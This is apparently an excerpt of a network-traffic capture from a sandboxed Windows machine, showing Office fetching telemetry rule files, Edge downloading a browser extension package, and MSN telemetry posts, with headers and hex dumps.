2024-11-23 00:14:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:41 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001441Z-174c587ffdf6b487hC1TEBydsn000000025g000000003fba x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:41 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:41 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2b57feed-101e-0028-5221-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001441Z-178bfbc474brk967hC1NYCfu6000000003gg0000000085m4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:41 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:42 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 25a1d219-c01e-007a-1943-3cb877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001442Z-178bfbc474bp8mkvhC1NYCzqnn00000003hg000000009xbe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:42 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49894	142.250.176.193	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:42 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:42 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC75flc9sPOCKDafy81f_Iqpe5K8N4oTx0ZbyUGIKd0XarYNucNg1Up4aNHBVijos7M6UZY X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Fri, 22 Nov 2024 02:18:48 GMT Expires: Sat, 22 Nov 2025 02:18:48 GMT Cache-Control: public, max-age=31536000 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Age: 78954 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-23 00:14:42 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-23 00:14:42 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-23 00:14:42 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-11-23 00:14:42 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-23 00:14:42 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-23 00:14:42 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-23 00:14:42 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-23 00:14:42 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-23 00:14:42 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-11-23 00:14:42 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49892	51.116.253.170	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:42 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732320878877&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5249 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=175F64EB34B4667D05E971AB35C6675C; _EDGE_S=F=1&SID=1CED3417584E65A03DFA2157598664F6; _EDGE_V=1; msnup=
2024-11-23 00:14:42 UTC	5249	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 33 54 30 30 3a 31 34 3a 33 38 2e 38 37 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 63 61 33 37 36 65 35 62 2d 64 65 39 37 2d 34 38 61 31 2d 61 31 38 34 2d 61 61 32 35 64 31 61 63 66 63 61 61 22 2c 22 65 70 6f 63 68 22 3a 22 32 33 33 39 39 31 34 32 35 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-23T00:14:38.874Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"ca376e5b-de97-48a1-a184-aa25d1acfcaa","epoch":"2339914256"},"app":{"locale
2024-11-23 00:14:42 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=2c2e7ec1384440febb599fe73ec2605b&HASH=2c2e&LV=202411&V=4&LU=1732320882356; Domain=.microsoft.com; Expires=Sun, 23 Nov 2025 00:14:42 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=8bbf1f824580476fa232fb5ce8c6ab6a; Domain=.microsoft.com; Expires=Sat, 23 Nov 2024 00:44:42 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3479 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 23 Nov 2024 00:14:42 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49893	51.116.253.170	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:42 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732320879008&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9519 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=175F64EB34B4667D05E971AB35C6675C; _EDGE_S=F=1&SID=1CED3417584E65A03DFA2157598664F6; _EDGE_V=1; msnup=
